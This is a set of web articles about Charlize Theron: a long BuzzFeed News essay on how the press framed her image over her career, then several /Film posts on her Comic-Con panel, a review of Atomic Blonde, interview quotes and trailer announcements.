But that conversation was not easily changed. Every star, no matter their gender or their beauty, their age or their acting, gets slotted in a particular place in Hollywood as soon as they give a performance worth writing about. For Theron, that place has always been “rural cool girl”: the male fantasy of a hot girl who doesn’t take anything too seriously, who loves to hang with the boys, who’s low-drama and won’t hassle the men in her life with bullshit like asking for things.
Early profiles always mentioned Theron’s “discovery” story, but reveled in her past: how she grew up on farm, how her best friend was a goat, how she swears like a sailor, how she just happens to be the most beautiful woman in the world, with a body to match. Pictures of her — in Playboy, Esquire, Vanity Fair — highlighted the second part of the equation, while the interviews took care of the rest.
She wasn’t just raised in rural South Africa, but as many articles emphasized, on a “dirt farm” — which really just means they farmed without irrigation, but sounds much more rural, and, well, dirtier, than “farm.” In one of her first profiles of her, People magazine reported that Theron, growing up an only child, relied on a goat named Bok to be her best friend. “I grew up surrounded by animals,” she told EW in 1997. “I was milking cows before school at six in the morning and making butter; I can do all that shit.” She’s a tomboy, who, according to the Ottawa Citizen, “loves a big barbecue”; she learned all about engines from her father, who was a mechanic. “I don’t remember when I learned how to drive,” she told the South African Sunday Times. “I just woke up one day and I could.” According to Theron, when she was filming The Italian Job — with stunts that required precise technical driving — Mark Wahlberg would do a 360 and start puking while Theron yelled “What’s up, girl?” at him.
Early profiles reveled in Theron’s past: how she grew up on farm, how her best friend was a goat, how she just happens to be the most beautiful woman in the world, with a body to match.
In at least six different interviews, Theron ate steak. Breakfast: steak and eggs. Lunch: steak salad. Dinner: strip steak. And she was seemingly always drinking: shots of tequila, bottles of Rolling Rock, dive-bar booze. “She has the appetite of a lumberjack,” according to Good Housekeeping. “She doesn’t subscribe to Hollywood’s passion for grasshopper-thin figures,” said Biography. She chain-smoked. She had tattoos. She said “fuck” a lot. For Vogue, she had “the swear-heavy vocabulary of a randy stevedore.” In Vanity Fair, Kenneth Branagh related an anecdote from their time together on the set of Woody Allen’s Celebrity: “We were stuck in the back of a Teamsters van waiting for the rain to stop,” he said. “It was the filthiest conversation I’ve ever had. The two Teamster lads couldn’t believe their ears.”
To promote her early roles — mostly as girlfriends, wives, and love interests to middlingly handsome men, from Ben Affleck (Reindeer Games) to Keanu Reeves (Sweet November), she was placed on the covers of magazines, often without pants or a top. “Why be afraid of your sexuality?” she told Vanity Fair. “I have to use that. …Nudity, if used correctly, is extremely powerful.”
Nudity served to get Theron steady, if unremarkable, work — and it soon dominated her image. In 1999, Playboy published nude photos of Theron that had been taken years before when she was still modeling. Theron attempted, unsuccessfully, to sue the magazine, but the effect on her image was complete. Regardless of consent, the cover of Playboy had the same connotation: Theron was a hot girl, a Playboy girl, not an actress of substance.
Her cool girl image began to morph in other, darker ways. Theron was purportedly undeterred by the male-dominated film industry, because, as she told the Courier-Mail, “the more men you throw my way, the more I just become alive.” She supposedly snagged boyfriend Stephan Jenkins, lead singer of Third Eye Blind, by going backstage at a concert at the Hard Rock Cafe in Hawaii. That relationship dissolved, but when she started dating Irish film star Stuart Townsend, it was framed as an on-set seduction: Theron “has a reputation as a man-eater in Hollywood,” as the Sunday Mirror proclaimed.
“Man-eater” was the only way to describe a hot woman who 1) wasn’t married; 2) didn’t talk about her plans to become married; and 3) never affected an aura of “niceness” in interviews. The rural cool girl had become a vamp: a long-standing Hollywood stereotype that expands to describe darkly sexual women like Angelina Jolie (who, around this time, was wearing a vial of husband Billy Bob Thornton’s blood around her neck) and Theron, as the narrative of her childhood was revealed to be much darker than previously suggested.
In early interviews, Theron claimed that her father had died in a car accident when she was just 15. But in 1998, police reports emerged detailing how Theron’s mother, Gerda, shot and killed her husband after he threatened to kill both her and Charlize. The shooting was ruled an act of self-defense; no charges were ever brought. When the real story broke, Theron never tried to deny it, but did not comment directly on it, save a single primetime special with Diane Sawyer “so that everyone would know and so we could demystify the whole thing,” as she later told Interview.
“I can’t tell you how many times I’ve auditioned for a role, only to have my agent come back and say, ‘Listen, Charlize, they saw you in the orange dress and they don’t think you can do it.’”
Still, it became a fixture in press to come — a sort of shadow over the cool girl narrative, a central tragedy that could be connected to every role she chose, every decision she made — especially when, in 2003, she dramatically transformed herself for the role of serial killer Aileen Wuornos in a small, indie movie called Monster.
Leading up to Monster, Theron’s role as a cover girl was secure. She was voted the “Most Desirable Woman” of 2003 by the readers of AskMen.com. But the parts she got were generally shit — and the movies themselves by and large bombed. The Astronaut’s Wife earned $ 19 million back of its $ 75 million budget; The Legend of Bagger Vance earned just $ 40 million (budget: $ 80 million); Reindeer Games grossed $ 32 million (budget: $ 42 million); The Yards didn’t even crack $ 1 million (budget: $ 24 million). Sweet November performed decently but was so bad it won Theron her first Razzie nomination for Worst Actress. The Curse of the Jade Scorpion will go down as one of Woody Allen’s major flops. Trapped, costarring Kevin Bacon, earned $ 13 million (budget $ 30 million); Waking Up in Reno, with Billy Bob Thornton and Penélope Cruz, made just $ 262,000. Italian Job was a surprise blockbuster — and the first film to truly take advantage of Theron’s nimbleness as an action star — but her role in the film was still supporting.
Part of the problem, according to Theron, could be traced to an orange gown she wore to the Oscars back in 2000. Formfitting, plunging in the back, and paired with soft finger curls, it prompted comparisons to Jean Harlow, landed her on every best-dressed list, and, for the next three years, became a symbol of what she couldn’t move beyond. As she told the OC Register, “I can’t tell you how many times I’ve auditioned for a role, only to have my agent come back and say, ‘Listen, Charlize, they saw you in the orange dress and they don’t think you can do it.’”
“It could be a magazine cover, a movie role or even an orange dress,” Theron continued. “People in this town get stuck on an image and don’t realize that it is the job of an actor to transform.” Put differently: Theron wanted roles that asked her to do more than just be hot, which may have helped her earn her place in Hollywood, but then turned into a cage of her (and her publicists’) own making.
Charlize Theron at the premiere of Focus Features’ “Atomic Blonde” on July 24, 2017.
It’s no coincidence that it was a female director who was able to envision Theron as more than the sum of her beautiful parts. That director, Patty Jenkins, was casting for the lead role in Monster, a story based on the real life and death of serial killer Aileen Wuornos. Jenkins screen-tested Kate Winslet, Heather Graham, Brittany Murphy, and Kate Beckinsale. But ever since seeing Theron’s dark turn in The Devil’s Advocate, Jenkins had known she wanted her for the role.
When Jenkins approached her, Theron was confused. “Why me?” she asked. “This stuff doesn’t happen to me…these are usually the things that I have to go out there and sweat blood and kill somebody for.” Jenkins’ reply: “Honestly, I just looked at you, and I looked at everybody else, and I said to myself, ‘I could kick the other actors’ asses. You, I’m not so sure.’”
This aura of toughness, which emerged over and over in the conversations about Monster, would help shift Theron’s career trajectory to its current action-hero apex. It wouldn’t have been possible, however, without Jenkins’ understanding of Theron’s ability — or Theron’s own role in making the film, which became the first undertaking for her production company Denver & Delilah.
Theron would go on to win an Oscar for her performance; afterward, her asking price rose to $ 10 million per picture. But first, she had to deal with every interviewer obsessing over how a pretty, thin person could possibly be “brave” enough to gain weight and, as it has since become known in the industry, “go ugly.” “Charlize Theron Sacrifices Great Looks for Great Part in Monster,” a typical Vancouver Sun piece exclaimed. “When the first photo stills from Monster were published, no one could believe that Theron … would downplay her ‘greatest asset’ to become a homeless lesbian prostitute and serial killer.”
Theron’s performance was far more than the dental prosthesis, makeup, and weight gain that accompanied it — or the press-ready narrative of “transformation” that became central to the Oscar campaign that coalesced around her. Theron, for her part, did her best to resist that narrative — in part because it equated “looking poor” with bravery, but also because it elided the actual, well, acting. She was particularly annoyed with critics who suggested she decided to “get ugly” without motivation — or without grounding it in the facts of Wuornos’s life. “People were like ‘You better not make Charlize Theron ugly!” Theron told The New Yorker. “Fuck that. I didn’t work on Aileen from the outside in. After I read the writing she did in jail, she was in my body, and I was in hers.”
According to Theron, each aesthetic decision was made with tremendous care: “Her body was the way it was because she had a child at 13,” Theron said in the Denver Post. “She was homeless and ate whenever she could, and usually it was crap … the way her skin looked, the way her teeth looked, the way her eyes looked — those were all things because of her lifestyle, because she’d been living out in sun and didn’t have a home.”
Theron in Monster, 2003
Theron’s transformation wasn’t a stunt, in other words, or an excuse for her to talk about what she ate or how she had to diet to get back to Oscar-dress-worthy weight. But if the press wasn’t focusing on the changes in her body, they were trying to connect the rawness of her performance to her own personal history — and her father’s death. The Toronto Star claimed that “when she talks about Wuornos, you can see it hovering before the surface”; the Sydney Morning Herald suggested she was capable of the portrayal only because “her life story reads like something scripted by David Lynch.”
Part of this interpretation stems from the myth of method acting, which suggests that good acting is rooted in accessing a moment of personal experience, whether it be trauma or joy. Even after Theron won the Oscar, her speech — in which she thanked her mother for all that she’d done for her — was interpreted as code for something more. But Theron forcefully rejected the idea of her father’s death as the organizing and animating principle of her life and talent.
As she recently told Esquire, “It always ends up in articles. Monster was the instant connection — ‘Oooh, ahhh, I’m connecting the dots.’ No, fucker, you’re not connecting any dots. Please. My mom didn’t ask for any of this stuff to ever be. I hate that every article she has to read, that’s the thing — a life is full of color and depth and highs and lows, and it really feels like the easy shot, the easy presumption of where somebody’s depth comes from.”
Theron with her mother Gerda in 1997.
That trauma remained the “easy shot” — or, as she later put it to Vogue, “like my fucking tattoo” — when it came to interpreting Theron’s post-Oscar choices, especially her choice to play a non-glamorous Minnesotan mine worker in North Country, or a no-nonsense cop in In the Valley of Elah. But it also marked a turning point in Theron’s career when, having accumulated sufficient industrial capital, she began to refuse perfunctory PR niceness.
She walked out of an interview while promoting North Country in Rome when she was asked, again, about “going ugly.” When a W magazine writer broached the subject of her transformation, she said, “Oh no, you better not be bringing up ‘ugly.’” In Esquire, she went in-depth about contemporary politics and the future of Roe v. Wade, then told the interviewer, “You’re going to have to dumb me down, aren’t you? That’s right. Go ahead. You wouldn’t want me to sound scary. Dumb me down.” At a photo shoot for Vogue, she yelled at the profiler, who had been “warned” about Theron: “What are you going to write about? ‘Charlize Theron: Still an asshole?’”
The inclusion of those quotes and mild combativeness underlined the latest development in Theron’s image. The vamp had aged; shed the cool, chill elements of her initial image; and transformed into a bitch.
Part of that aura of bitchiness derived from her continued insistence on privacy. She’d pose for Vogue photo shoots every other year, but she never once appeared on the cover of an American gossip magazine — largely because she gave them so very little to talk about.
Part of that aura of bitchiness derived from Theron’s continued insistence on privacy.
Theron did this deliberately: She avoided Hollywood paparazzi hangouts; when she and Townsend were together, they rarely went out in public. “Some people are really into that world, of being photographed, being at the party, being with the guy, being in the Bentley,” she said. “Good for them, because it’s so entertaining to watch. It’s just not me.”
Theron may have been naturally inclined toward privacy, but she also understood the ways that focusing on her private life would make it even more difficult to disappear into her parts. Growing up, the actors she admired most — Gene Hackman, Dustin Hoffman, Meryl Streep — were the ones whose private lives hadn’t become public property, who could show up and be a “clean canvas,” as she put it, for whatever the performance demanded. “There’s a sadness in that the longer you stay in this career, the harder it becomes to get people to sit in a theater and not focus on your looks,” she told Vogue in 2007, while promoting In the Valley of Elah, another “unglamorous” role. “Maybe that’s why I try to keep my private life so private and why I don’t want to be an In Touch celebrity. It’s why I don’t have any patience for the paparazzi. It’s just not something that helps me at all.”
Here, Theron is talking about the long-standing separation between performers known for their acting and performers known as stars. Stars act, but their fame is rooted in the combination of their public performances and “private” lives. If Theron had become a more typical star, she would have taken roles that underlined and amplified her folksy cool girl–ness. She’d have starred in a rom-com. She’d have gotten married instead of flatly dismissing the idea with “I never had the dream of the white dress.” She’d have been purposefully paparazzied in situations that kept her private life in conversation, instead of completely dropping off the map for years at a time, which she did twice over the course of the 2000s.
When Theron adopted a son in 2012, she did not sell the story of their home life, or pictures of them, to a magazine. She did not post pictures of him — or his sister, adopted three years later — to social media. She kept appearances in which they could be photographed together to a minimum. When she started dating Sean Penn in 2014, she acknowledged that their relationship had been more publicized than any of her previous ones, but also spoke flatly about their partnership. “I love Sean and I love our relationship, because we make life better for each other,” she told Esquire. “But he doesn’t fill a hole in me and I don’t fill a hole in him. We are two very healthy adults and we have one hell of a time together and I think that’s important.”
Theron and Sean Penn on the red carpet for the Mad Max: Fury Road at the Cannes Film Festival.
But even if Theron refused the narrative, or the idea that who she was dating was the most interesting thing about her, the press continued to push it. At a press junket in 2015, all the questions were about Penn and her son and, as Theron put it, “what I eat.” “It’s really a roundabout way of getting as much private shit as they can,” she said. Theron resisted that push — which, according to people I spoke to who’ve worked junkets and red carpets with her, is part of the reason that she’s known as no-nonsense, with little time for small talk, niceties, bullshit, or other types of performative posturing expected of celebrities.
And she’s basically given up on the traditional celebrity profile — long considered obligatory for stars of all levels. As she recently told Bill Simmons “I’m not a secretive person, but I am a private person, and other than podcasts, it’s really hard to kind of have you as a person come across. I just got tired of sitting down for interviews and having some writer just write whatever they wanted to write.” Put differently, she got tired of writers mapping an understanding of her — as cool girl, as survivor of childhood tragedy — onto her otherwise complicated self. “There’s a sense of irony that gets lost,” she continued, “especially with me, and I think with women in general…for some reason with men it’s a little more forgiving if a writer takes their own idea of what the interview was, but I feel like with women it’s so unforgiving.”
While there are many men who’ve opted for this route, it’s a rarity for a woman, in part because a woman’s refusal to share her private life is generally considered selfish, snobby, bitchy. But again, Theron could lean into that bitchiness because she had her beauty as insurance — and could essentially pick whatever project she wanted.
Theron could lean into that bitchiness because she had her beauty as insurance — and pick of whatever project she wanted.
Which is why her filmography between the late 2000s and early 2010s reads like that of someone with an expansive understanding of what they can or should do onscreen. She dabbled in action (Aeon Flux,Prometheus), indies (Sleepwalking, Battle in Seattle), meditations on grief (In the Valley of Elah, The Road), summer blockbusters (Hancock, A Million Ways to Die in the West), satire (Young Adult), cartoons (Kubo and the Two Strings), and thrillers (Dark Places).
She embraced what she herself called her “bitch phase” — playing deeply unlikable characters, villains, and literal ice queens. “I’m owning that market for myself now,” she told The Scotsman in 2012. “What a legacy to leave behind: ‘she played all the bitches.’”
Theron was joking — but not really. Since 2012, she’s only gone on to play more bitches (another Snow White movie), more villains (The Fate of the Furious), more fearsome women (Mad Max: Fury Road). But her role in Mad Max, like her current role in Atomic Blonde (and the narrative of her personal life, in which she purportedly “ghosted” Sean Penn when his presence was no longer pleasing) have transformed her into a different sort of icon. She’s no longer a bitch. She’s a broad.
Theron as Ravenna (left) in Snow White and the Huntsman and Imperator Furiosa in Mad Max: Fury Road, 2015.
A broad, aka the type of old-school Hollywood actress (think Katharine Hepburn, Bette Davis, Mae West) who combined aesthetic and intellectual virtues and coupled them with the confidence of a man. Broads are women, not girls. Broads aren’t “nice.” Broads don’t put up with Tom Hardy’s shit on set. Broads, like bitches, get shit done — on their own terms.
People have been calling Theron a broad for years. Woody Harrelson described her as a “classic broad”: “incredibly talented, and also able to tell more vulgar jokes than you and drink you under the table.” Niki Caro, who directed her in North Country, likened her to the “thirties Hollywood sense” of the word, explaining that “she has this brilliant ability to set the bar very high and the tone very low.”
Broads are women, not girls. Broads aren’t “nice.” Broads don’t put up with Tom Hardy’s shit on set. Broads, like bitches, get shit done — on their own terms.
That’s the cool girl understanding of broad. But broad also has another meaning — best explained by Abbi Jacobson and Ilana Glazer, creators and stars of Broad City, who define a broad as “a full woman” who “knows what she wants, knows who she is, and is doing the best she can.” It’s an understanding Theron has independently embraced. As she told Interview in 2012, “You know when girls say, ‘I’m a girl’s girl?’” It has never felt right for me to say that because I don’t know if I’m a girl’s girl. I think I might be a full woman’s woman.”
That fullness, that complexity of image, is exactly what eludes most Hollywood stars — something which Theron has long been aware of and annoyed by. When doing roundtables with other actresses for Young Adult she noticed that the conversation kept returning to “this frustration of not having material out there that really challenges and explores and asks questions about who we really are as women.”
And part of that is because cinema reflects and further flattens the expectations for women in the world. As she told the Ottawa Citizen, “We come from a society that’s very comfortable with the Madonna-whore complex. We’re either really good hookers or really good mothers.”
Most female stars who insist that they’re neither, or maybe both — onscreen or off — end up on the margins of Hollywood. But not Theron, whose persistence in rejecting such flat roles have earned her the label of iconoclast, “refusing to conform to society’s — or Hollywood’s — expectations of her,” as Vogue put it. But let’s be clear: Theron she’s only allowed that right of refusal because she has a body and face that do conform to society’s standards. It’s Theron’s beauty that has afforded her the ability to refuse such dichotomies — and, like other broads before her, retexture the parameters of female stardom.
Which might be why Theron keeps appearing without pants on the cover of magazines: It’s the obligatory payment of dues that liberates her to do whatever else she wants. In this way, she’s engaged in an age-old feminist dilemma: When you realize the system is stacked against you, do you figure out how to slyly game it, exploiting your privilege, whether as a white person, as a middle-class person, as a straight person, as a pretty person, as a thin person — or do you try to explode it, even if that tactic ends up excluding you entirely?
“Progress,” and the feminist project for women in Hollywood, looks like many things, including, but not limited to: women in roles like spies or superheroes, historically relegated to men; women working with female directors and screenwriters to surface more complicated roles for women; women producing the projects that matter to them; women advocating for — and refusing to work without — equal pay; and women suggesting that their value, as actors, is not contingent on their ability to market or commodify their private lives. Theron has done all of these things, and she’s been doing them for the vast majority of her career. But progress also includes making way for different types of talented and worthy women to enjoy this sort of success on their own terms.
It’s not Theron’s fault that her face and body on the cover of magazines and film posters fortifies the notion that there’s basically only one way for women to succeed in Hollywood — namely, by making your face and body as close to hers as possible. But the persistence of that unspoken ideal suggests that it will take much more than troubling the archetypes of female behavior, more than owning the role of bitch and transforming it into the broad, more than showing that hot women over the age of 40 can fight.
So much of being a broad, after all, is conducting oneself “like a man.” But men get to age in Hollywood. And women — even women as beautiful as Theron — do not age so much as disappear. To “win” as a woman in Hollywood, then, is to participate in a machine that will soon exclude you. And as the careers of many previously powerful female stars suggest, no amount of plastic surgery or body modification can change that.
What can work — as Theron’s extensive participation in the production of Atomic Blonde seems to suggest — is taking over the levers of power, and producing the sort of roles (for yourself, and, more importantly, for other female stars who don’t look like you) that challenge the accepted knowledge of what audiences want and, by extension, what women can be or do onscreen.
Theron has long manipulated her pretty-girl privilege to get the roles and freedom she wants. But can she use it to get those same roles and freedom for others? ●
Anne Helen Petersen is a senior culture writer for BuzzFeed News. Petersen has a Ph.D. from the University Of Texas and wrote her dissertation on the gossip industry.
Contact Anne Helen Petersen at anne.helen.petersen@buzzfeed.com.
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One of the panels that went overlooked at San Diego Comic-Con amidst all the major news and trailers from the rest of the convention was Entertainment Weekly‘s own “Women Who Kick Ass” panel. Usually, the panel features an ensemble of tough, badass women from movies and television, but this year’s panel focused on just one: Charlize Theron.
With Atomic Blonde in theaters this weekend, Charlize Theron continues to proved that she’s a certified action star. As Theron said during the panel, she sought out the movie herself because she wanted a very specific movie to play with, a movie where she could play a character who was “unapologetic and can play by the same rules as men.” Atomic Blonde is definitely that movie, and it opens up a possible franchise where Charlize Theron can keep returning as the secret agent over and over again.
Along with discussing the future of Atomic Blonde with Entertainment Weekly senior writer and panel moderator, Sara Vilkomerson, the actress also talked about a possible follow-up for Mad Max: Fury Road, what she thinks of the suggestion that she be the next James Bond, one of her proudest moments on screen, and what she wants to see from future female characters in movies.
Charlize Theron grew up being inspired by the likes of Sigourney Weaver in Alien and Aliens, which gave her a new perspective on womanhood completely. It wasn’t just that Ellen Ripley was a badass, but also who she was and how capable she was as a woman. It’s a movie that she revisited when she made Monster.
It’s not hard to see how an actress like Weaver and the characters she’s played over the years have influenced Theron, who has taken to playing strong women across a variety of movies, even if those movies didn’t always turn out as everyone hoped. But Theron still wants to see female characters grow and not fall into the same tropes that have been around Hollywood for decades. Theron explained during the panel:
“When a story doesn’t quite work, the female characters in a movie are used to emotionally manipulate in a movie [and] men don’t get used that way. We’re known to be nurturers, we’re not thought of as just warriors. We need a reason to become warriors, and I’m sick of that. We don’t need to lose a child or to lose a husband or need some kind of revenge story to become a warrior.”
Part of what makes Atomic Blonde work so well is that we don’t need to know much about her character to just accept who she is. Theron says, “I love that about Lorraine. She exists and she’s just simply her. We don’t explain why or why she’s any good at her job. She’s just there, and I love that about her.” She adds that a female character doesn’t need to be used to manipulate emotions to make an impact on the audience, saying:
“I love an emotional story, but there are different ways to tell those stories than to go for those easy, manipulative emotions. But I think sometimes there’s a laziness behind it. It’s such easy choices. Of course I’ll care for this woman because her husband died. But what if you don’t tell me that, can you make me still feel something for her? I want to see interesting choices with women, but not the easy mother-nurture, madonna-whore complex that we’ve seen so many times before.”
Since Charlize Theron knows exactly what she wants from female characters in the future, what can we expect to see from the actress as she continues her acting career? Fans have been waiting to see what will happen next in the Mad Max franchise after Theron stole the show as Furiosa in Mad Max: Fury Road, and it sounds like the actress is in the same boat. Theron said that she’s totally game for a Mad Max sequel, but she’s still waiting on director George Miller to make it happen. She does note that she’ll be 42 in August though, so she wants to get to it sooner than later.
Interestingly enough, Theron revealed that she knows even more about Furiosa than fans do. The actress knows how Furiosa lost her arm and how she came to be in The Wasteland. She also reaffirmed the idea that she was brought to Immortan Joe for the purpose of breeding, but discovers that she’s barren. The character is treated as having no purpose in this world because she can’t have children, but she carves out a place for herself, which is a big part of what makes Furiosa such a great character. She’s a woman who doesn’t have to be what others expect her to be.
The strength that Theron has shown on the big screen has Chris Hemsworth championing the actress to take over the mantle of James Bond once Daniel Craig is done with the role. However, referring to the role she plays in Atomic Blonde, she thinks the film gives her “something that could hopefully live and breathe in the same kind of format, we could make a couple more movies and see this agent live.” So while she’s not necessarily opposed to playing James (or Jane) Bond, she says, “I’m fine with leaving James Bond over to Daniel Craig or to Idris Elba, who would be great, and I’ll do Lorraine.” That’s a nice plug for Idris Elba as James Bond as well as hope for an Atomic Blonde sequel to come together.
Finally, Charlize Theron was asked whether we might see her go back to some different spy roots by returning as Rita on Arrested Development when the show comes back for a fifth season. Not only did she acknowledge that appearing on that show is still one of her proudest moments, but she said, “I love those guys, I love that that world, and I love what they do with their writing. So if they called, of course I would make myself available.”
For more from Charlize Theron, watch the entire “Women Who Kick Ass” panel from Comic-Con right here:
The post Charlize Theron on the Future of ‘Atomic Blonde’, ‘Mad Max’, James Bond and Female Characters appeared first on /Film.
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Note: This review originally ran following the world premiere of Atomic Blonde at the SXSW Film Festival. It is in theaters today.
In a nutshell: Atomic Blonde is about a badass, bisexual British secret agent who fights like John Wick and seduces like James Bond who travels to Germany days before the fall of the Berlin Wall to recover some stolen intelligence. She wears a number of amazing outfits, kills a whole bunch of bad guys, and just looks terrific as she struts through noisy nightclubs and desolate alleyways to a soundtrack of ’80s synth pop. It is excellent, two-fisted entertainment and further proof that Charlize Theron is one of our great modern action heroes.
In a smaller nutshell: Atomic Blonde is one of the most purely entertaining action movies coming out this year.
Anyone disappointed that David Leitch let fellow John Wick director Chad Stahelski helm the sequel by himself will be pleased to know that Leitch’s first solo gig is cut from that same tough, stylish, merciless cloth. That means we’re getting double the number of action movies that are all about hard-hitting stunts and lengthy shots that let you actually appreciate those hard-hitting stunts. Leitch, a former stunt performer, and stunt coordinator, knows how to stage astonishing action and he’s wise enough to know that we want to see it all clearly.
Of course, there’s a reason everyone is punching and kicking and knifing and vehicular homicide-ing each other in Atomic Blonde. Theron is Lorraine Broughton, an ice-cold secret agent who is sent to Berlin after another spy (and one-time lover) is murdered, and a top secret list of spies and their codenames is stolen by a rogue KGB operative. In this political powder keg of a city, she meets, and quickly learns to distrust, David Percival (James McAvoy in full scumbag mode), England’s man-on-the-ground who has “gone native.” Pretty soon, the complicated and sometimes convoluted espionage twists give way to Lorraine having to kill everyone.
It’s the general plottiness of Atomic Blonde that sometimes drags it down and you can feel the shape of a leaner, faster movie lurking within the slightly-too-long running time. Like many spy movies, the plot twists and double crosses pile up with each passing scene. Not knowing what anyone is doing or thinking or planning at a given moment can be as exhausting as it is thrilling. The film does reward you for sticking with it, but it’s not always clear when you’re deliberately not supposed to know what’s going on or if you just missed a small but vital plot point. Kurt Johnstad‘s screenplay (adapted from the graphic novel The Coldest City by Antony Johnston and Sam Hart) is dense and complex, and there are moments when it feels like some of the finer points are lost in execution. Think Tinker, Tailor, Soldier, Spy with more car crashes.
But once the action kicks in, it becomes easy to forgive just about everything else. Leitch is a stylish filmmaker, and every shot has something to savor: the gaudy colors of a West Berlin bar; the suffocating despair of an East Berlin neighborhood; chase sequences set against the backdrop of protests. Transitional titles depicted as graffiti being sprayed across the screen sound like they could be too much, but they’re perfectly in-line with the film’s hyper-stylized world. The atmosphere is provided by Tyler Bates’ period-appropriate synth score and a soundtrack of recognizable ’80s hits that accompany virtually every scene in the movie. In many ways, this is the too-cool, too-weird, too-grungy feeling that Suicide Squad tried and failed to nail last year.
At the center of it all is Charlize Theron and Atomic Blonde is very much the Charlize Theron show. Lorraine Broughton is less of a character and more of an attitude – you don’t learn a thing about her personal life or what she wants or needs as a human being, but there’s a thrill to be had from watching a powerful performer play someone who is just really, really good at their job. Lorraine is a fascinating companion to Theron’s other great action heroine, Mad Max: Fury Road‘s Furiosa: the latter fights from the heart, during the other fights because she can emotionally divorce herself from the battle entirely. It’s a true movie star performance, a case where a character works solely because the actor fills the gaps with unsaid history and pure gravitas.
It helps that Theron (like Keanu Reeves in the John Wick movies) does many of her own stunts and Leitch films his action to make sure we realize this. But Lorraine Broughton isn’t just Lady John Wick. She’s no superhero, no unstoppable force. While they share a similar, vicious style of combat, Theron is just a person, albeit a deadly one. She gets hit as often as she hits and gets knocked down as often as she knocks someone else down. Every single fight in Atomic Blonde, even the one-on-one brawls, is an ordeal. There are no easy victories, and the film doesn’t shy away from showcasing its leading lady getting beaten to hell. She wears her battle scars throughout the entire movie.
This is especially evident in the film’s best scene: a ten-minute long fight through an apartment building (stitched together to look like a single shot) where Lorraine battles a team of Russian agents. It’s a tremendous fight scene because it’s staged with so brilliantly and shot so audaciously, but it becomes remarkable because it acknowledges just how hard fighting someone to death must be. By the final stretch of this real-time brawl, Theron and her opponents are noticeably battered, panting, unsteady on their feet, and frequently backing away from each other to catch their breath and summon a second (and third and fourth and fifth) wind. It’s the alley fight from They Live, the street fight from that infamous Deadwood episode and any scene from The Raid were all combined into one of the most impressive action scenes…of the past decade? Hyperbole may be earned here.
I once wrote that James Bond would be a more efficient secret agent if he was bisexual (doubling his odds of seducing information out of people!) and Lorraine Broughton is up to that challenge. Although she initially sleeps with a French spy (Sofia Boutella) for work purposes, the two continue to see each other throughout the film. Some will accuse this of Leitch using girl-on-girl imagery to get a literal rise of the men in the audience (and their sex scene is shot like a soft-core porn film if we’re going to be honest here), but let’s focus on what Atomic Blonde does that’s so unique. Here’s an action movie about a tough-as-nails warrior whose attraction to both sexes is not treated as a sign of villainy or betrayal or an entirely broken moral compass. Lorraine Broughton is duplicitous because of her career choice, not because she likes to get it on with men and women. It’s not the most eloquent pro-LGBTQ statement out there, but seeing a proper action hero so unashamed of her sexuality (and perhaps even empowered by it) is a breath of fresh air.
Atomic Blonde can be shaky, but it is also sexy and stylish and shot by filmmakers who actually value action. It’s cool without being too cool. David Leitch is going to be making action movies for a long time…and hopefully Charlize Theron will star in a few more of them.
/Film Rating 8 out of 10
The post ‘Atomic Blonde’ Confirms Charlize Theron’s Place in the Action Movie Pantheon appeared first on /Film.
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The acclaimed actress teams up with Sofia Boutella for the sex sequence, which has been teased in the film’s trailers.
“I just loved it,” she told Variety. “For so many reasons: My frustration of how that community is represented in cinema, or lack thereof. And also, it made perfect sense.
“It just suited her. It just felt there was a way through that relationship and the fact that it was a same-sex relationship to show a woman not having to fall in love, which is one of those female tropes.
“‘It’s a woman; she better fall in love—otherwise, she’s a w***e!’”
Theron, it is noted, developed that aspect of the story with writer Kurt Johnstad, something she is very pleased with.
“It’s one of my most proudest parts of the development, when we came up with that,” she admitted.
“And then finding Sofia, that was a slam dunk. There’s something about her that’s so broken and vulnerable. It works.”
Earlier this week, Theron spoke less favourably about another of her movies.
Aeon Flux was a big flop in 2005, but she doesn’t sound too cut-up by it now.
“I really loved [director] Karyn Kusama’s movie [Girlfight],” she reasoned.
“So I threw myself into that with the belief that she’s a great filmmaker.
“And then we f**ked it all up. I just don’t think we really knew how to execute it.”
Atomic Blonde is out on August 9.
There was a time when saying that someone “fights like a girl” was considered an insult. Thankfully, that’s become something that doesn’t really sound all that lame anymore, especially when you have a superhero like Wonder Woman cleaning up at the box office. Adding to the power behind female punches will be a new action flick starring Mad Max: Fury Road‘s badass Charlize Theron.
Atomic Blonde stars Charlize Theron as an assassin working for MI6 who is stuck dealing with a city of traitors and killers trying to bump her off at every turn. She’s being hailed as the female 007, and if the trailers are any indicator, this movie will be even more kick-ass than the last mission James Bond went on in Spectre. Now, a new featurette takes a closer look at the action in the flick, showing us just how much of the fighting Charlize Theron is doing herself.
Here’s the Atomic Blonde featurette taking a closer look at Charlize Theron kicking ass:
As the featurette notes, the stunt coordinator was fully prepared to plan short spurts of action where they would only do a few moves before having to move the camera and begin a new shot with another round of moves. But during the training process, Charlize Theron proved that she could handle even more action in one shot without having to cut, and as we learned in our own Jacob Hall’s review from SXSW, that certainly helps make the movie stand out.
Atomic Blonde also features James McAvoy, John Goodman, Til Schweiger, Eddie Marsan, Sofia Boutella and Toby Jones in the film based on the Oni Press graphic novel series“The Coldest City,” adapted by Kurt Johnstad (300) and directed by John Wick helmer David Leitch.
Oscar-winner Charlize Theron explodes into summer in Atomic Blonde, a breakneck action-thriller that follows MI6’s most lethal assassin through a ticking time bomb of a city simmering with revolution and double-crossing hives of traitors.
The crown jewel of Her Majesty’s Secret Intelligence Service, Agent Lorraine Broughton (Charlize Theron) is equal parts spycraft, sensuality and savagery, willing to deploy any of her skills to stay alive on her impossible mission. Sent alone into Berlin to deliver a priceless dossier out of the destabilized city, she partners with embedded station chief David Percival (James McAvoy) to navigate her way through the deadliest game of spies.
Atomic Blonde arrives later this month on July 28.
The post ‘Atomic Blonde’ Featurette: Charlize Theron Fights Like a Girl appeared first on /Film.
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Keanu Reeves returned to the big screen in John Wick: Chapter 2 earlier this year, bringing the badass assassin back in an even bigger way. However, Charlize Theron isn’t far behind with her own action flick, and she’s got one of the filmmakers behind John Wick coming with her.
Atomic Blonde finds the Mad Max: Fury Road star as an assassin in 1980s Berlin who must deal with an endless array of bad guys as she attempts to complete her latest mission. A new trailer for the movie from director David Leitch (who is hard at work on Deadpool 2) has arrived and it showcases even more of Charlize Theron’s kick-ass action.
Watch the new Atomic Blonde trailer below.
